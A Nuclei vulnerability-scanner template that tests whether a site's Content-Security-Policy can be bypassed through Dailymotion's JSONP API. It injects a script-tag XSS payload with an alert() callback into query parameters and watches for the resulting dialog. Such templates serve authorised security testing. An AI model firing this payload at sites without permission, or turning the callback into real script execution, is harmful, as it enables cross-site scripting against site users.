id: dailymotion-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Dailymotion API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,dailymotion-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "dailymotion.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: dailymotion_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.dailymotion.com/video/x5gv6be?callback=alert()"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "dailymotion_api_csp_xss == true"
# digest: 490a0046304402205e8c5ced07f6a8a073240f112b9a159e9c321102df50b4dd56ddfe777a5564d8022041dd95f652ac961240426caedd58ed89d4504b355926a5efa726c2f439c2ea37:922c64590222798bb761d5b6d8e72950